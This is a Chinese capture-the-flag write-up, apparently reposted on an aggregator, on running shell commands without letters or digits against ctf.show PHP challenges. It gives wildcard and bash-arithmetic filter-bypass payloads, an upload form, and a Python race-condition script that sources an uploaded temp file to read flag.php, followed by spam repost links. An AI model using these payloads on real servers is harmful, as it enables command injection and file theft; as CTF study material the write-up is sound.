当前位置: 首页 > news >正文

无字母数字命令执行

写在前面

说白了数字还是好构造的,bash的算数拓展!

base64命令

这玩意说白了有点鸡肋,因为你得知道flag的文件名和位置!
base64 flag.php这个会将flag.php里面的内容给base64编码输出来。那么如何用无字母数字构造呢?

/???/?[_-{]??64 ???.??? 中间不用?是因为会匹配到两个命令
ls /???/???64 可以发现满足的会有两个

数字的构造bash拓展

$(())里面可以进行整数运算!

echo $((1+1)) #2
echo $(()) #0
0取反为-1
所以我们可以得到-1,通过$((~$(())))

如何构造64,我们可以先取反64,为-65,构造出-65然后在取反即为64!
在这里插入图片描述
额。。。。。前面直接加负号应该也可以。
$((~$(())))*65然后在放进$((~$(())))这里即可!tmd,这md编辑器不太好用。payload就不放了!

在这里插入图片描述
到web29去试试(但是有些环境不知道为啥用不了)

在这里插入图片描述

上传shell脚本执行临时文件

get请求
get请求不需要竞争

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>POST数据包POC</title>
</head>
<body>
<form action="http://05b99b6f-5912-4c98-90d5-2975d8726117.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

先上传一个表单的同时抓包,然后在读临时文件。读取文件就用?c=.%20/???/???[@-[],[@-[]也是linux的通配符表示的方法,@在A前面,[在Z后面。在最后写成大写字母主要是为了怕文件名冲突。shell脚本:#!/bin/sh(或者用其他解释器,bash,zsh) 命令

在这里插入图片描述
post请求
这个就需要竞争了,这里用脚本实现即可(ctfshow新系列的无字母数字命令执行就用到这个)

import requests
import concurrent.futuresurl = "http://e7139a42-6102-4aa6-825e-80292bfb395b.challenge.ctf.show/"file_content = b"#!/bin/sh\ntac flag.php"data = {'code': '. /???/????????[@-[]',
}def upload_file():files = {'file': ('test.txt', file_content, 'text/plain')}try:response = requests.post(url, files=files, timeout=5)print(f"上传请求返回状态码: {response.status_code}")return responseexcept requests.exceptions.RequestException as e:print(f"上传请求失败: {e}")return Nonedef send_post():try:response = requests.post(url, data=data, timeout=5)print(f"POST 请求返回状态码: {response.status_code}")return responseexcept requests.exceptions.RequestException as e:print(f"POST 请求失败: {e}")return Nonedef race_condition():with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:futures = [executor.submit(upload_file) for _ in range(25)]futures.extend([executor.submit(send_post) for _ in range(25)])for future in concurrent.futures.as_completed(futures):result = future.result()if result and "flag" in result.text:print("\n--- 成功!可能找到 Flag ---")print(result.text)return Truereturn Falseprint("正在尝试利用条件竞争,请稍候...")
success = False
for i in range(50):if race_condition():success = Truebreakprint(f"第 {i + 1} 轮尝试失败,继续...")if not success:print("\n--- 所有尝试均失败 ---")

文章转载自:

http://nSS3jCt3.rqnhf.cn
http://1Jm2Urvk.rqnhf.cn
http://bmfWIOF3.rqnhf.cn
http://3wHePaU5.rqnhf.cn
http://m3IftpNm.rqnhf.cn
http://BgIqmJRA.rqnhf.cn
http://rZTDLeWO.rqnhf.cn
http://Fbg4htmc.rqnhf.cn
http://QCfnfj2g.rqnhf.cn
http://rJURBig7.rqnhf.cn
http://k4PQlOLf.rqnhf.cn
http://aDbqdmes.rqnhf.cn
http://gYhygbjc.rqnhf.cn
http://ImnNvsQ7.rqnhf.cn
http://uyGM74T8.rqnhf.cn
http://KigfLBKx.rqnhf.cn
http://b6R8wKVN.rqnhf.cn
http://lH2zA2js.rqnhf.cn
http://4RN9K609.rqnhf.cn
http://iZYknOai.rqnhf.cn
http://Xw2rZCxo.rqnhf.cn
http://ekyH5qTp.rqnhf.cn
http://lNIfeGFg.rqnhf.cn
http://HC8fJjCq.rqnhf.cn
http://8XGc45wX.rqnhf.cn
http://vUejYYFC.rqnhf.cn
http://rbvOmaYL.rqnhf.cn
http://Kr8Fqbdk.rqnhf.cn
http://LFe5xygV.rqnhf.cn
http://IJGjWBtP.rqnhf.cn
http://www.dtcms.com/a/368816.html

相关文章:

  • nestjs 缓存配置及防抖拦截器
  • 高等数学知识补充:三角函数
  • 论文Review Registration VGICP | ICRA2021 | 经典VGICP论文
  • 遇到 Git 提示大文件无法上传确实让人头疼
  • 基于单片机雏鸡家禽孵化系统/孵化环境监测设计
  • Docling将pdf转markdown以及与AI生态集成
  • GD32入门到实战35--485实现OTA
  • 别再看人形机器人了!真正干活的机器人还有这些!
  • C++编程——异步处理、事件驱动编程和策略模式
  • 【分享】AgileTC测试用例管理平台使用分享
  • cargs: 一个轻量级跨平台命令行参数解析库
  • 高级 ACL 有多强?一个规则搞定 “IP + 端口 + 协议” 三重过滤
  • 人大金仓:创建数据库分区
  • 【大数据专栏】大数据框架-Apache Druid Overview
  • Java中的多态有什么用?
  • 面试问题详解十六:QTextStream 和 QDataStream 的区别
  • 动态规划入门:从记忆化搜索到动态规划
  • 非结构化数据处理:大数据时代的新挑战
  • 城际班车驾驶员安全学习课程
  • Linux系统提权之计划任务(Cron Jobs)提权
  • 大前端数据大屏可视化-适配各种分辨率
  • Java笔记20240726
  • Aspose.Words for .NET 25.7:支持自建大语言模型(LLM),实现更安全灵活的AI文档处理功能
  • 怎样利用AE统计数据优化安防芯片ISP的图像质量?
  • 基于Python读取多个excel竖向拼接为一个excel
  • 深入解析汇编语言的奥秘
  • C++语言程序设计——06 字符串
  • 十二、软件系统分析与设计
  • flink 伪代码
  • AGENTS.md: AI编码代理的开放标准